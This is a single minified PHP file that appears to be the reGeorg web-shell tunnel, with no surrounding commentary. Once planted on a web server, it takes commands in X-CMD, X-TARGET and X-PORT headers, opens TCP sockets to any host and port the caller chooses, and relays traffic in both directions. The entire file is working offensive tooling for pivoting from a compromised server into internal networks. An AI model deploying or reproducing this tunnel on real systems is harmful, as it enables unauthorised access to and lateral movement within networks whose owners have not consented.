tunnel.minified.php

@ob_clean();if(!function_exists('apache_request_headers')){function apache_request_headers(){$k=array();$l='/\AHTTP_/';foreach($_SERVER as $key=>$val){if(preg_match($l,$key)){$m=preg_replace($l,'',$key);$n=array();$n=explode('_',$m);if(count($n)>0 and strlen($m)>2){foreach($n as $o=>$p){$n[$o]=ucfirst($p);}$m=implode('-',$n);}$k[$m]=$val;}}return($k);}}if($_SERVER['REQUEST_METHOD']==='GET'){exit("Georg says, 'All seems fine'");}if($_SERVER['REQUEST_METHOD']==='POST'){set_time_limit(0);$b=apache_request_headers();$c=$b["X-CMD"];switch($c){case "CONNECT":{$a=$b["X-TARGET"];$e=(int)$b["X-PORT"];$d=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if($d===false){header('X-STATUS: FAIL');header('X-ERROR: Failed creating socket');exit;}$res=@socket_connect($d,$a,$e);if($res===false){header('X-STATUS: FAIL');header('X-ERROR: Failed connecting to target');exit;}socket_set_nonblock($d);@session_start();$_SESSION["run"]=true;$_SESSION["writebuf"]="";$_SESSION["readbuf"]="";ob_end_clean();header('X-STATUS: OK');header("Connection: close");ignore_user_abort();ob_start();$f=ob_get_length();header("Content-Length: $f");ob_end_flush();flush();session_write_close();while($_SESSION["run"]){$g="";@session_start();$h=$_SESSION["writebuf"];$_SESSION["writebuf"]="";session_write_close();if($h!=""){$i=socket_write($d,$h,strlen($h));if($i===false){@session_start();$_SESSION["run"]=false;session_write_close();header('X-STATUS: FAIL');header('X-ERROR: Failed writing socket');}}while($o=socket_read($d,512)){if($o===false){@session_start();$_SESSION["run"]=false;session_write_close();header('X-STATUS: FAIL');header('X-ERROR: Failed reading from socket');}$g.=$o;}if($g!=""){@session_start();$_SESSION["readbuf"].=$g;session_write_close();}}socket_close($d);}break;case "DISCONNECT":{error_log("DISCONNECT recieved");@session_start();$_SESSION["run"]=false;session_write_close();exit;}break;case "READ":{@session_start();$ger=$_SESSION["readbuf"];$_SESSION["readbuf"]="";$i=$_SESSION["run"];session_write_close();if($i){header('X-STATUS: OK');header("Connection: Keep-Alive");echo $ger;exit;}else {header('X-STATUS: FAIL');header('X-ERROR: RemoteSocket read filed');exit;}}break;case "FORWARD":{@session_start();$i=$_SESSION["run"];session_write_close();if(!$i){header('X-STATUS: FAIL');header('X-ERROR: No more running, close now');exit;}header('Content-Type: application/octet-stream');$j=file_get_contents("php://input");if($j){@session_start();$_SESSION["writebuf"].=$j;session_write_close();header('X-STATUS: OK');header("Connection: Keep-Alive");exit;}else {header('X-STATUS: FAIL');header('X-ERROR: POST request read filed');}}break;}}exit;